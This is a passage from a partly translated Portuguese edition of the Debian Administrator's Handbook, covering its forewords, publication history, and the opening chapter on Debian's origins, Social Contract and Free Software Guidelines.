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Prefácio

Thank you for your interest in Debian. At the time of writing, more than 10% of the web is
powered by Debian. Think about it; how many web sites would you have missed today without
Debian?
Debian is the operating system of choice on the International Space Station, and countless uni-
versities, companies and public administrations rely on Debian to deliver services to millions of
users around the world and beyond. Truly, Debian is a highly successful project and is far more
pervasive in our lives than people are aware of.
But Debian is much more than “just” an operating system. First, Debian is a concrete vision
of the freedoms that people should enjoy in a world increasingly dependent on computers. It
is forged from the crucible of Free Software ideals where people should be in control of their
devices and not the other way around. With enough knowledge you should be able to dismantle,
modify, reassemble and share the software that matters to you. It doesn’t matter if the software
is used for frivolous or even life-threatening tasks, you should be in control of it.
Secondly, Debian is a very peculiar social experiment. Entirely volunteer-led, individual con-
tributors take on all the responsibilities needed to keep Debian functioning rather than being
delegated or assigned tasks by a company or organization. This means that Debian can be trus-
ted to not be driven by the commercial interests or whims of companies thatmay not be aligned
with the goal of promoting people’s freedoms.
And the book you have in your hands is vastly different from other books; it is a free as in freedom
book, a book that finally lives up to Debian’s standards for every aspect of your digital life. You
can apt install this book, you can redistribute it, you can “fork” it, and even submit bug
reports and patches so that other readers may benefit from your feedback. The maintainers of
this book — who are also its authors — are longstanding members of the Debian Project who
truly understand the ethos that permeate every aspect of the project.
By writing and releasing this book, they are doing a truly wonderful service to the Debian com-
munity.
May 2017
Chris Lamb (Debian Project Leader)





Prefácio

O Linux foi ganhando força nos últimos anos, e sua popularidade crescente leva mais e mais
usuários a dar o salto. O primeiro passo nesse caminho é escolher uma distribuição. Esta é uma
decisão importante, porque cada distribuição tem suas próprias peculiaridades, e os futuros
custos de migração podem ser evitados se a escolha certa é feita desde o início.

DE VOLTA AO BÁSICO

distribuição Linux,
núcleo (ou kernel) Linux

Estritamente falando, Linux é apenas um núcleo (ou kernel), a parte essencial do
software que fica entre o hardware e as aplicações.

Uma ”distribuição Linux” é um sistema operacional completo, que normalmente
inclui o kernel do Linux, um programa de instalação e, o mais importante, apli-
cativos e outros softwares necessários para transformar um computador em uma
ferramenta realmente útil.

O Debian GNU/Linux é uma distribuição Linux ”genérica” que serve à maioria dos usuários. O
propósito deste livro é mostrar seus muitos aspectos para que você possa tomar uma decisão
fundamentada ao escolher.

Por que este Livro?

CULTURA

Distribuições Comerciais
Most Linux distributions are backed by a for-profit company that develops them
and sells them under some kind of commercial scheme. Examples include Ubuntu,
mainly developed by Canonical Ltd.; Red Hat Enterprise Linux, by Red Hat ; and
SUSE Linux, maintained and made commercially available by Novell.

No outro extremo do espectro encontram-se nomes como o Debian e a Apache
Software Foundation (que hospeda o desenvolvimento para o servidor web Apache).
O Debian é, acima de tudo, um projeto no mundo do Software Livre, implementado
por voluntários que trabalham em conjunto através da Internet. Embora alguns
deles trabalhem no Debian como parte de seus trabalhos remunerados em várias
companhias, o projeto como um todo não é vinculado a nenhuma companhia em
particular, nem deixa que uma única companhia tenhamuitomais voz nos negócios
do projeto que os contribuidores puramente voluntários tenham.

Linux has gathered a fair amount of media coverage over the years; it mostly benefits the distri-
butions supported by a real marketing department — in other words, company-backed distribu-
tions (Ubuntu, Red Hat, SUSE, and so on). But Debian is far from being a marginal distribution;



multiple studies have shown over the years that it is widely used both on servers and on desk-
tops. This is particularly true among webservers where Debian and Ubuntu are the leading
Linux distributions.
è https://w3techs.com/technologies/details/os-debian/all/all

O propósito deste livro é ajudar você a descobrir esta distribuição. Nós esperamos compartilhar
a experiência que tivemos desde 1998 (Rafaël) e 2000 (Roland) quando nos juntamos ao projeto
como desenvolvedores e colaboradores. Com alguma sorte, nosso entusiasmo vai ser comunica-
tivo, e talvez você se junte a nós em algum momento…
Aprimeira edição deste livro (de 2004) serviu para preencher uma lacuna: era o primeiro livro de
língua francesa focado exclusivamente no Debian. Naquele tempo, muitos outros livros foram
escritos sobre o tema para os leitores de francês e inglês. Infelizmente quase nenhum deles foi
atualizado, e ao longo do tempo a situação foi piorando até o momento em que tínhamos uns
poucos bons livros sobre Debian. Nós esperamos que este livro, que iniciou uma nova vida com
sua tradução para o inglês (e com várias traduções do inglês para outras línguas), preencha esta
lacuna e ajude muitos usuários.

Para quem é este Livro?

Tentamos fazer com que este livro fosse útil para muitas categorias de leitores. Primeiro, os
administradores de sistemas (novatos e experientes) encontrarão explicações sobre a instala-
ção e implementação do Debian em muitos computadores. Eles também terão uma idéia da
maioria dos serviços disponíveis no Debian, juntamente com instruções de configuração corres-
pondentes e uma descrição das especificidades provenientes da distribuição. Compreender os
mecanismos envolvidos no desenvolvimento do Debian irá capacitá-los a lidar com problemas
imprevistos, sabendo que podem sempre encontrar ajuda dentro da comunidade.
Os usuários de outra distribuição Linux, ou de outra variante Unix, descobrirão as especificida-
des do Debian, e deverão estar operacionais muito rapidamente enquanto se beneficiam plena-
mente das vantagens únicas desta distribuição.
Finalmente, os leitores que já têm algum conhecimento do Debian e querem saber mais sobre
a comunidade por trás dele devem ver suas expectativas satisfeitas. Este livro deve deixá-los
muito mais próximos de se juntar a nós, como colaboradores.

Abordagem Geral

Toda a documentação genérica que você possa encontrar sobre GNU/Linux também se aplica ao
Debian, já que o Debian inclui os softwares livres mais comuns. No entanto, a distribuição traz
muitas melhorias, razão pela qual optou-se primeiramente por descrever o ”modo Debian” de
fazer as coisas.
É interessante seguir as recomendações do Debian, mas é ainda melhor compreender a sua ló-
gica. Portanto, não nos restringiremos a explicações práticas apenas; também vamos descrever
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o funcionamento do projeto, de modo a proporcionar-lhe um conhecimento abrangente e con-
sistente.

Estrutura do Livro

This book is built around a case study providing both support and illustration for all topics being
addressed.

NOTA

Página Web, email dos
autores

Este livro tem o seu próprio site, que hospeda elementos que podem torná-lo mais
útil. Em particular, inclui uma versão online do livro com links clicáveis, e possíveis
erratas. Sinta-se a vontade para navegar nele e deixar-nos um comentário. Teremos
o maior prazer de ler seus comentários ou mensagens de apoio. Pode enviar por
e-mail para hertzog@debian.org (Raphaël) e lolando@debian.org (Roland).

è http://debian-handbook.info/

O Capítulo 1 se concentra em uma apresentação não-técnica do projeto Debian e descreve seus
objetivos e organização. Estes aspectos são importantes porque definem um quadro geral que
irá completar outros capítulos com informações mais concretas.
Os Capítulos 2 e 3 fornecem uma descrição geral do estudo de caso. Neste ponto, os leitores
iniciantes podem reservar um tempo para ler o apêndice B, onde encontrarão um curso rápido
de nivelamento, explicando uma série de noções básicas de computação, bem como conceitos
inerentes a qualquer sistema Unix.
Para começar com o nosso assunto real, vamos naturalmente começar com o processo de insta-
lação (capítulo 4); os capítulos 5 e 6 vão apresentar ferramentas básicas que qualquer adminis-
trador Debian vai usar, como os da famíliaAPT, que são largamente responsáveis pela excelente
reputação da distribuição. Estes capítulos não estão de forma alguma reservados a profissionais,
já que todo mundo é seu próprio administrador em casa.
O Capítulo 7 será um parênteses importante, ele descreve os fluxos de trabalho para uso efici-
ente da documentação e como atingir rapidamente uma compreensão dos problemas, a fim de
resolvê-los.
Os próximos capítulos serão uma visita mais detalhada ao sistema, começando com infraestru-
tura básica e serviços (capítulos 8 a 10 ) e subindo progressivamente na pilha, até chegar nas
aplicações de usuários no capítulo 13. O Capítulo 12 lida com assuntos mais avançados que
tratammais diretamente com preocupações dos administradores de grandes conjuntos de com-
putadores (incluindo servidores), enquanto o capítulo 14 é uma breve introdução para a ques-
tão mais ampla de segurança de computadores e dá algumas chaves para evitar a maioria dos
problemas.
O Capítulo 15 é para os administradores que querem ir além e criar seus próprios pacotes De-
bian.

XXIPrefácio

mailto:hertzog@debian.org
mailto:lolando@debian.org
http://debian-handbook.info/


VOCABULÁRIO

pacote Debian
Um pacote Debian é um arquivo compactado contendo todos os arquivos necessá-
rios para instalar um dado software. É geralmente um arquivo com uma extensão
.deb, e pode ser manuseado com o comando dpkg. Também chamado de pacote
binário, ele contém arquivos que podem ser utilizados diretamente (como progra-
mas ou documentação). Por outro lado, um pacote fonte contém o código-fonte
do software e as instruções necessárias para a construção do pacote binário.

The present version is already the eighth edition of the book (we include the first four that were
only available in French). This edition covers version 9 of Debian, code-named Stretch. Among
the changes, Debian now sports a new architecture —mips64el for little-endian 64-bit MIPS pro-
cessors. On the opposite side, the powerpc architecture has been dropped due to lack of volun-
teers to keep up with development (which itself can be explained by the fact that associated
hardware is getting old and less interesting to work on). All included packages have obviously
been updated, including the GNOME desktop, which is now in its version 3.22. Most executa-
bles have been rebuilt with PIE build flags thus enabling supplementary hardening measures
(Address Space Layout Randomization, ASLR).
Nós adicionamos algumas notas e observações nas barras laterais. Elas têm vários papéis: elas
podem chamar a atenção para um ponto difícil, completar uma noção do estudo de caso, definir
alguns termos, ou servir como lembretes. Aqui está uma lista das mais comuns destas barras
laterais:

• DE VOLTA AO BÁSICO: um lembrete de alguma informações que supostamente são conhe-
cidas;

• VOCABULÁRIO: define um termo técnico, às vezes específico do Debian;

• COMUNIDADE: destaca pessoas ou funções importantes dentro do projeto;

• POLÍTICA: uma regra ou recomendação da Política do Debian. Este documento é essencial
dentro do projeto e descreve como empacotar software. As partes da política destacadas
neste livro trazem benefícios diretos para os usuários (por exemplo, saber que a política
padroniza a localização da documentação e dos exemplos torna fácil encontrá-los, mesmo
em um novo pacote).

• FERRAMENTA: apresenta uma ferramenta ou serviço relevante;

• NA PRÁTICA: teoria e prática nem sempre coincidem; essas barras laterais contêm con-
selhos resultantes da nossa experiência. Eles também podem dar exemplos detalhados e
concretos;

• outras barras laterais mais ou menos frequentes são bastante explícitas: CULTURA, DICA,
CUIDADO, INDO ALÉM, SEGURANÇA, e assim por diante.
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Agradecimentos

Um pouco de História

Em 2003, Nat Makarévitch contatou Raphaël porque queria publicar um livro sobre Debian na
coleção Cahier de l’Admin (Manual de Administração) que ele estava gerenciando para a Eyrolles,
uma importante editora francesa de livros técnicos. Raphaël imediatamente aceitou escrevê-lo.
A primeira edição saiu no dia 14 de outubro de 2004 e foi um enorme sucesso - esgotou em cerca
de quatro meses.
Since then, we have released 7 other editions of the French book, one for each subsequent De-
bian release. Roland, who started working on the book as a proofreader, gradually became its
co-author.
Enquanto nós obviamente estávamos satisfeitos com o sucesso do livro, sempre esperávamos
que a Eyrolles convenceria uma editora internacional a traduzi-lo para o inglês. Recebemos
muitos comentários explicando como o livro ajudou as pessoas a começar a usar o Debian, e
estávamos interessados em ter o livro beneficiando mais pessoas da mesma maneira.
Alas, no English-speaking editor that we contacted was willing to take the risk of translating
and publishing the book. Not put off by this small setback, we negotiated with our French edi-
tor Eyrolles and got back the necessary rights to translate the book into English and publish
it ourselves. Thanks to a successful crowdfunding campaign1, we worked on the translation
between December 2011 and May 2012. The “Debian Administrator’s Handbook” was born and
it was published under a free-software license!
While this was an important milestone, we already knew that the story would not be over for
us until we could contribute the French book as an official translation of the English book. This
was not possible at that time because the French book was still distributed commercially under
a non-free license by Eyrolles.
In 2013, the release of Debian 7 gave us a good opportunity to discuss a new contract with Ey-
rolles. We convinced them that a license more in line with the Debian values would contribute
to the book’s success. That wasn’t an easy deal to make, and we agreed to setup another crowd-
funding campaign2 to cover some of the costs and reduce the risks involved. The operation was
again a huge success and in July 2013, we added a French translation to the Debian Administra-
tor’s Handbook.
Gostaríamos de agradecer a todos que contribuíram para estas campanhas de arrecadação de
fundos, seja assegurando algum dinheiro ou espalhando a notícia. Nós não poderíamos ter feito
isso sem vocês.
To save some paper, 5 years after the fundraising campaigns and after two subsequent editions,
we dropped the list of persons who opted to be rewarded with a mention of their name in the
book. But their names are engraved in the acknowledgments of theWheezy edition of the book:

1http://www.ulule.com/debian-handbook/
2http://www.ulule.com/liberation-cahier-admin-debian/
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Antes de nos aprofundar na tecnologia, vamos olhar o que o Projeto Debian é, seus objetivos, seus
significados, e seu funcionamento.



1.1. O que é Debian?

CULTURA

Origem do nome Debian
Não procure mais: Debian não é um acrônimo. Este nome é, na realidade, uma
contração de dois nomes próprios: o de Ian Murdock, e sua namorada na época,
Debra. Debra + Ian = Debian.

Debian é uma distribuição GNU/Linux. Nós iremos discutir o que é uma distribuição em mais
detalhes em Seção 1.5, “O Papel das Distribuições” [23], mas por enquanto, vamos simplesmente
dizer que é um sistema operacional completo, incluindo software e sistemas para instalação e
gestão, todos baseados no kernel Linux e softwares livres (especialmente os do projeto GNU).
Quando ele criou o Debian, em 1993, sob a liderança da FSF, Ian Murdock teve objetivos cla-
ros, que ele expressa no Manifesto Debian. O sistema operacional livre que buscava teria que
ter duas características principais. Primeiro, a qualidade: o Debian seria desenvolvido com o
maior cuidado, para ser digno do kernel Linux. Também seria uma distribuição não-comercial,
acreditável suficientemente para competir com as principais distribuições comerciais. Esta am-
bição dupla seria, em seus olhos, alcançada somente através da abertura do processo de desen-
volvimento do Debian assim como a do Linux e o projeto GNU. Assim, a avaliação pelos pares
continuamente melhora o produto.

CULTURA

GNU, O projeto da FSF
O projeto GNU é um conjunto de softwares livres desenvolvidos, ou patrocinados,
pela Free Software Foundation (FSF), originada por seu célebre líder, Dr. Richard
M. Stallman. GNU é um acrônimo recursivo que significa ”GNU Não é Unix”.

CULTURA

Richard Stallman
FSF’s founder and author of the GPL license, Richard M. Stallman (often referred
to by his initials, RMS) is a charismatic leader of the Free Software movement.
Due to his uncompromising positions, he is not unanimously admired, but his non-
technical contributions to Free Software (in particular at the legal and philosophical
level) are respected by everybody.

1.1.1. Um Sistema Operacional Multi-Plataforma

COMUNIDADE

A jornada de Ian
Murdock

Ian Murdock, fundador do projeto Debian, foi o seu primeiro líder, de 1993 a 1996.
Depois de passar o bastão para Bruce Perens, Ian teve um papel menos público. Ele
voltou a trabalhar por trás dos bastidores da comunidade de software livre, criando
a empresa Progeny, com a intenção de comercializar uma distribuição derivada do
Debian. Este empreendimento foi, infelizmente, um fracasso comercial e seu de-
senvolvimento foi abandonado. A empresa, após alguns anos sobrevivendo apenas
como prestador de serviços, finalmente pediu concordata em abril de 2007. Dos
vários projetos iniciadas pela Progeny, apenas o discover ainda permanece. É uma
ferramenta de detecção automática de hardware.

Ian Murdock died on 28 December 2015 in San Francisco after a series of worrying
tweets where he reported having been assaulted by police. In July 2016 it was
announced that his death had been ruled a suicide.
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Debian, remaining true to its initial principles, has had so much success that, today, it has rea-
ched a tremendous size. The 12 architectures offered cover 10 hardware architectures and 2 ker-
nels (Linux and FreeBSD, although the FreeBSD-based ports are not part of the set of officially
supported architectures). Furthermore, with more than 25,000 source packages, the available
software can meet almost any need that one could have, whether at home or in the enterprise.
The sheer size of the distribution can be inconvenient: it is really unreasonable to distribute
14 DVD-ROMs to install a complete version on a standard PC… This is why Debian is increasin-
gly considered as a “meta-distribution”, from which one extracts more specific distributions
intended for a particular public: Debian-Desktop for traditional office use, Debian-Edu for edu-
cation and pedagogical use in an academic environment, Debian-Med for medical applications,
Debian-Junior for young children, etc. A more complete list of the subprojects can be found in
the section dedicated to that purpose, see Seção 1.3.3.1, “Sub-Projetos Debian Existentes” [17].
Estas visões parciais do Debian são organizadas em uma estrutura bem definida, o que garante
compatibilidade sem problemas entre as várias ”sub-distribuições”. Todas elas seguem o plane-
jamento geral para o lançamento de novas versões. E como elas estão sendo construídas sobre a
mesma base, elas podem ser facilmente estendidas, completadas, e personalizadas com as apli-
cações disponíveis nos repositórios do Debian.
Todas as ferramentas Debian operam neste sentido: debian-cd tem por muito tempo permi-
tido criar um conjunto de CD-ROMs contendo apenas um conjunto de pacotes pré-selecionados;
debian-installer é também um instalador modular, facilmente adaptado para necessidades
especiais. APT irá instalar pacotes a partir de várias origens, garantindo ao mesmo tempo a
consistência do sistema.

FERRAMENTA

Criando um CD-ROM
Debian

debian-cd cria imagens ISO demídias de instalação (CD, DVD, Blu-Ray, etc.) pron-
tas para usar. Qualquer questão sobre este software é discutida (em inglês) na lista
de discussão debian-cd@lists.debian.org. O time é liderado por Steve McIntyre,
que lida com as construções das ISO oficiais do Debian.

VOLTANDO PARA O BÁSICO

Para cada computador,
sua arquitetura

O termo ”arquitetura” indica um tipo de computador (o mais conhecido inclui Mac
ou PC). Cada arquitetura é diferenciada principalmente pelo seu processador, ge-
ralmente incompatível com outros processadores. Essas diferenças de hardware
envolvem diferentes meios de funcionamento, exigindo assim que o software seja
compilado especificamente para cada arquitetura.

A maioria dos softwares disponíveis no Debian é escrita em linguagens de progra-
mação portáveis: o mesmo código fonte pode ser compilado para várias arquitetu-
ras. Na realidade, um binário executável, sempre compilado para uma arquitetura
específica, geralmente não funcionará em outras arquiteturas.

Lembre-se que cada programa é criado escrevendo o código fonte; este código-fonte
é um arquivo texto composto de instruções em uma dada linguagem de programa-
ção. Antes de você poder usar o software, é necessário compilar o código fonte,
o que significa transformar o código em um binário (uma série de instruções de
máquina executável pelo processador). Cada linguagem de programação tem um
compilador específico para executar essa operação (por exemplo, gcc para a lingua-
gem de programação C).
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FERRAMENTA

Instalador
debian-installer é o nome do programa de instalação do Debian. A sua concep-
ção modular permite que seja usado em uma ampla variedade de cenários de insta-
lação. O trabalho de desenvolvimento é coordenado na lista de discussão debian-
boot@lists.debian.org sob a direção de Cyril Brulebois.

1.1.2. A Qualidade do Software Livre

O Debian segue todos os princípios do Software Livre, e suas novas versões não são liberadas
até que estejam prontas. Os desenvolvedores não estão pressionados por nenhum cronograma
definido que corre para satisfazer um prazo arbitrário. As pessoas frequentemente se queixam
do tempo entre as versões estáveis doDebian,mas este cuidado tambémgarante a confiabilidade
lendária do Debian: longos meses de testes são realmente necessários para que a distribuição
completa receba o rótulo de ”estável”.
O Debian não irá comprometer a qualidade: todos os bugs críticos conhecidos são resolvidos em
qualquer nova versão, ainda que isso implique que a data de lançamento inicialmente prevista
seja adiada.

1.1.3. O Arranjo Legal: Uma Organização Não-Lucrativa

Legalmente falando, o Debian é um projeto gerenciado por uma associação americana sem fins
lucrativos e voluntária. O projeto tem em torno de mil desenvolvedores Debian, mas reúne um
número muito maior de colaboradores (tradutores, relatores de bugs, artistas, desenvolvedores
casuais, etc.).
Para desempenhar sua missão a bom termo, o Debian tem uma grande infraestrutura, commui-
tos servidores conectados através da Internet, oferecidos por muitos patrocinadores.

COMUNIDADE

Por trás do Debian, a
associação SPI, e

ramificações locais

Debian doesn’t own any server in its own name, since it is only a project within the
Software in the Public Interest association, and SPI manages the hardware and
financial aspects (donations, purchase of hardware, etc.). While initially created
specifically for the Debian project, this association now hosts other free software
projects, especially the PostgreSQL database, Freedesktop.org (project for stan-
dardization of various parts of modern graphical desktop environments, such as
GNOME and KDE Plasma), and the Libre Office office suite.

è http://www.spi-inc.org/

Além da SPI, várias associações locais colaboram estreitamente com o Debian, a
fim de gerar fundos para o Debian, sem centralizar tudo nos EUA: são conhecidas
como ”Organizações de Confiança” no jargão do Debian. Essa configuração evita
custos proibitivos de transferência internacional, e se encaixa bem com a natureza
descentralizada do projeto.

While the list of trusted organizations is rather short, there are many more Debian-
related associations whose goal is to promote Debian: Debian France, Debian-
ES, debian.ch, and others around the world. Do not hesitate to join your local
association and support the project!
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è https://wiki.debian.org/Teams/Auditor/Organizations

è https://france.debian.net/

è http://www.debian-es.org/

è https://debian.ch/

1.2. Os Documentos da fundação

Uns anos depois do seu lançamento inicial, o Debian formalizou os princípios que deviam seguir
como um projeto de software livre. Esta decisão ativista permite um crescimento ordeiro e
pacífico, garantindo que todos os membros progridam na mesma direção. Para se tornar um
desenvolvedor Debian, qualquer candidato deve confirmar e provar o seu apoio e adesão aos
princípios estabelecidos nos documentos da Fundação do projeto.
O processo de desenvolvimento é constantemente debatido, mas estes Documentos de Funda-
ção são amplamente consensualmente apoiados, assim, raramente mudam. A constituição da
Debian também oferece outras garantias para sua estabilidade: uma maioria qualificada de três
quartos é necessária para aprovar qualquer alteração.

1.2.1. O Compromisso com os Usuários

O projeto também tem um ”contrato social”. Qual o lugar que tal texto tem em um projeto
destinado unicamente ao desenvolvimento de um sistema operacional? Isso é bastante simples:
o Debian funciona para seus usuários e, portanto, por extensão, para a sociedade. Este contrato
resume os compromissos que o projeto assume. Vamos estudá-los em maior detalhe:

1. Debian permanecerá 100% livre.

Esta é a Regra n º 1. O Debian é e continuará a ser inteiramente e exclusivamente composto
de softwares livres. Além disso, todo o desenvolvimento de softwares dentro do projeto
do Debian, por si só, será livre.

PERSPECTIVA

Além do software
A primeira versão do Contrato Social Debian disse ”O Debian permanecerá
100% Software Livre >”. O desaparecimento desta palavra (com a ratifica-
ção da versão 1.1 do contrato em abril de 2004) indica a vontade de alcançar
a liberdade, não só em software, mas também na documentação e em qual-
quer outro elemento que o Debian queira fornecer dentro do seu sistema
operacional .

Esta mudança, que só foi concebida como editorial, tem, na realidade, tido
inúmeras consequências, especialmente com a remoção de alguma docu-
mentação problemática. Além disso, o uso crescente de firmware em dri-
vers coloca problemas: muitos são não-livres, ainda que sejam necessários
para o funcionamento adequado do hardware correspondente.

2. Nós iremos retribuir à comunidade de software livre.
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Qualquer melhoria contribuída pelo projeto do Debian para um trabalho integrado na dis-
tribuição é enviado de volta ao autor do trabalho (chamado de ”original”). Em geral, o
Debian vai cooperar com a comunidade em vez de trabalhar isoladamente.

COMUNIDADE

Autor original, ou
desenvolvedor Debian?

O termo ”autor original” significa o(s) autor(es) / desenvolvedor(es) de uma
obra, aqueles que escrevem e desenvolvem. Por outro lado, um ”desenvol-
vedor Debian” transforma uma obra já existente em um pacote Debian (o
termo ”mantenedor do Debian” é mais adequado).

Na prática, a distinção nem sempre é clara. O mantenedor do Debian pode
escrever um patch, que beneficia todos os usuários do trabalho. Em geral,
o Debian encoraja àqueles responsáveis por um pacote no Debian que se
envolvam no desenvolvimento original (eles se tornam, então, contribuintes,
sem estarem confinados ao papel de simples usuários de um programa).

3. Nós não escondemos problemas.
Debian não é perfeito, e, vamos encontrar novos problemas para corrigir todos os dias. Ire-
mosmanter nosso banco de dados de relatórios de bugs aberto para a visualização pública
todo o tempo. Relatórios que os usuários preenchem on-line, prontamente se tornam vi-
síveis para todos.

4. Nossas prioridades são nossos usuários e o software livre.
Esse compromisso é mais difícil de definir. O Debian impõe, assim, um viés quando uma
decisão deve ser tomada, e irá descartar uma solução fácil para os desenvolvedores que co-
loque em risco a experiência do usuário, optando por uma solução mais elegante, mesmo
que seja mais difícil de implementar. Isto significa levar em conta, prioritariamente, os
interesses dos usuários e o software livre.

5. Obras que não atendem nossos padrões de software livre.
Debian aceita e entende que os usuários podemqueremusar alguns programas quemuitas
vezes são não-livres. É por isso que projeto permite a utilização de parte da sua infraestru-
tura para distribuir pacotes Debian de software não-livre que podem ser redistribuídos.

COMMUNIDADE

A favor ou contra a seção
non-free (”não-livres”)?

O compromisso demanter uma estrutura para acomodar software não-livre
(ou seja, a seção ”non-free”, consulte a barra lateral Os arquivos main,
contrib e non-free [105]) é frequentemente um tema de debate dentro
da comunidade Debian.

Quem é contra argumenta que afasta as pessoas dos equivalentes de soft-
ware livre, e contradiz o princípio de servir apenas a causa do software li-
vre. Quem é a favor afirma categoricamente que a maioria dos pacotes
não-livres são ”quase livres”, exceto por apenas uma ou duas restrições irri-
tantes (o mais comum seria a proibição contra o uso comercial do software).
Ao distribuir essas obras no ramo não-livre, explica-se indiretamente para
os autores que suas criações seriam melhor conhecidas e mais amplamente
utilizadas se pudessem ser incluídas na seção principal. Eles são, assim, edu-
cadamente convidados a alterar a sua licença para servir a esse propósito.

Depois de uma primeira tentativa infrutífera, em 2004, a remoção completa
da seção não-livre é pouco provável de voltar à agenda, especialmente por
que ela contém muitos documentos úteis que foram movidos para lá sim-
plesmente porque eles não atendem às novas exigências para a seção prin-
cipal . Isto é especialmente o caso de arquivos de documentação de de-
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terminados softwares emitidos pelo projeto GNU (em particular, Emacs e
Make).

A existência contínua da seção non-free é uma fonte esporádica de atritos
com a Free Software Foundation, e é a principal razão dela não recomendar
oficialmente o Debian como sistema operacional.

1.2.2. A Definição Debian de Software Livre

Este documento de referência define qual software é ”livre o suficiente” para ser incluído no
Debian. Se a licença de um programa está de acordo com estes princípios, ele pode ser incluído
na seção principal; do contrário, e desde que a distribuição livre seja permitida, pode ser en-
contrado na seção non-free. A seção non-free não é oficialmente parte do Debian; é um serviço
adicional prestado aos usuários.
Mais do que um critério de seleção para o Debian, este texto se converteu em referência no
assunto de software livre, e tem servido como base para a ”definição de Código Aberto” (Open
Source). Historicamente é uma das primeiras definições formais do conceito de ”software livre”.
A GNUGeneral Public License, a licença BSD, e a Licença Artística são exemplos de licenças livres
tradicionais que seguem os 9 pontos mencionados neste texto. Abaixo você encontrará o texto
conforme está publicado no site do Debian.
è http://www.debian.org/social_contract#guidelines

1. Redistribuição Livre. A licença de um componente Debian não pode restringir nenhuma
parte de vender ou doar o software como um componente de uma distribuição agregada
de software contendo programas de várias fontes diferentes. A licença não pode exigir
um royalty ou outra taxa para tal venda.

VOLTA PARA O BÁSICO

Licenças Livres
A GNU GPL, a licença BSD, e a Licença Artística estão todas em confor-
midade com a Definição Debian de Software Livre, embora sejam muito
diferentes.

A GNU GPL, utilizada e promovida pela FSF (Free Software Foundation), é
a mais comum. Sua principal característica é que ela também se aplica a
qualquer trabalho derivado que é redistribuído: um programa incorporando
ou usando código GPL só pode ser distribuído de acordo com os mesmos
termos. Proíbe, assim, qualquer reutilização em um aplicativo proprietário.
Isto coloca sérios problemas para a reutilização de código GPL em software
livre incompatível com esta licença. Como tal, às vezes é impossível ligar
um programa publicado sob outra licença de software livre com uma bibli-
oteca distribuída sob a GPL. Por outro lado, essa licença é muita sólida na
legislação americana: advogados da FSF têm participado na elaboração da
mesma, e muitas vezes forçado violadores a chegar a um acordo amigável
com a FSF, sem ir a tribunal.

è http://www.gnu.org/copyleft/gpl.html
The BSD license is the least restrictive: everything is permitted, including
use of modified BSD code in a proprietary application.

è http://www.opensource.org/licenses/bsd-license.php
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Finalmente, a Licença Artística alcança um meio-termo entre estas duas
outras: a integração do código em uma aplicação proprietária é autorizada,
mas qualquer modificação deve ser publicada.

è http://www.opensource.org/licenses/artistic-license-2.0.
php
O texto completo dessas licenças está disponível em /usr/share/
common-licenses/ em qualquer sistema Debian.

2. Código Fonte. O programa deve incluir código fonte e deve permitir a distribuição em
código fonte, bem como em formato compilado.

3. Trabalhos derivados. A licença deve permitir modificações e trabalhos derivados e deve
permitir que estes sejam distribuídos sob os mesmos termos da licença do software origi-
nal.

4. integridade do autor do código fonte. A licença pode restringir código fonte de ser dis-
tribuído em forma modificada apenas se a licença permitir a distribuição de ”patch files”
com o código fonte para o propósito demodificar o programa em tempo de compilação. A
licença deve permitir explicitamente a distribuição de software construído a partir do có-
digo fontemodificado. A licença pode exigir que trabalhos derivados tenhamumnome ou
número de versão do software diferente do original (Este é um compromisso. O grupo Debian
encoraja todos os autores a não restringir nenhum arquivo, fonte ou binário, de ser modificado).

5. Nenhuma discriminação contra pessoas ou grupos. A licença não deve discriminar
qualquer pessoa ou grupo de pessoas.

6. Nenhuma discriminação contra campos de atuação. A licença não deve restringir nin-
guémde fazer uso do programa emum campo específico de atuação. Por exemplo, ela não
pode restringir o programa de ser usado em uma empresa, ou de ser usado para pesquisa
genética.

7. Distribuição da licença. Os direitos associados ao programa devem se aplicar a todos a
quemoprograma é redistribuído, semanecessidade de execução de uma licença adicional
por essas pessoas.

8. A licença não deve ser específica para Debian. Os direitos associados ao programa não
devemdepender do programa ser parte de um sistemaDebian. Se o programa for extraído
do Debian e usado ou distribuído sem o Debian mas por outro lado, dentro dos termos da
licença do programa, todas as partes para quem o programa é redistribuído devem ter os
mesmos direitos que são concedidos em conjunto com o sistema Debian.

9. A licença não deve contaminar outros softwares. A licença não deve colocar restrições
em outro software que é distribuído juntamente com o software licenciado. Por exemplo,
a licença não deve impor que todos os outros programas distribuídos na mesma mídia
sejam software livre.

VOLTA PARA O BÁSICO

Copyleft
Copyleft é um princípio que consiste em utilizar os direitos autorais para
garantir a liberdade de uma obra e os seus derivados, em vez de limitar os di-
reitos de utilizações, como é o caso com o software proprietário. É, também,
um jogo de palavras sobre o termo ”copyright” . Richard Stallman desco-
briu a idéia quando um amigo dele, apaixonado por trocadilhos, escreveu
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em um envelope endereçado a ele: ”copyleft: todos os direitos revertidos”.
Copyleft impõe a preservação de todas liberdades iniciais sobre a distribui-
ção de uma versão original ou modificada de um trabalho (geralmente um
programa). Portanto, não é possível distribuir um programa como software
proprietário, se ele é derivado do código de um programa liberado como
copyleft.

A família de licença copyleft mais conhecida é, naturalmente, a GNU GPL,
e seus derivados, a GNU LGPL ou GNU Lesser General Public License, e
a GNU FDL ou GNU Free Documentation License. Infelizmente, as licen-
ças copyleft são geralmente incompatíveis entre si. Consequentemente, o
melhor é usar somente uma delas.

COMUNIDADE

Bruce Perens, um líder
controverso

Bruce Perens foi o segundo líder do projeto Debian, logo após Ian Murdock. Ele
foi muito controverso em seus métodos dinâmicos e autoritários. Ele, no entanto,
continua a ser um importante contribuinte para o Debian, para quem o Debian é
especialmente grato pela edição das famosas ”Definição Debian de Software Livre”
(DFSG), uma ideia original de Ean Schuessler. Posteriormente, Bruce derivaria a
parti desta a famosa ”Definição de Código Aberto”, removendo todas referências
ao Debian dela.

è http://www.opensource.org/

Sua partida do projeto foi bastante emocional, mas Bruce continuava fortemente
ligado ao Debian, já que ele continua a promover essa distribuição nos âmbitos
político e econômico. Ele ainda esporadicamente aparece nas listas de e-mail para
dar o seu conselho e apresentar suas mais recentes iniciativas em favor do Debian.

Last anecdotal point, it was Bruce who was responsible for inspiring the different
“codenames” for Debian versions (1.1 — Rex, 1.2 — Buzz, 1.3 — Bo, 2.0 — Hamm,
2.1 — Slink, 2.2 — Potato, 3.0 — Woody, 3.1 — Sarge, 4.0 — Etch, 5.0 — Lenny, 6.0
— Squeeze, 7 — Wheezy, 8 — Jessie, 9 — Stretch, 10 (not released yet) — Buster, 11
(not released yet) — Bullseye, Unstable — Sid). They are taken from the names of
characters in the Toy Story movie. This animated film entirely composed of compu-
ter graphics was produced by Pixar Studios, with whomBruce was employed at the
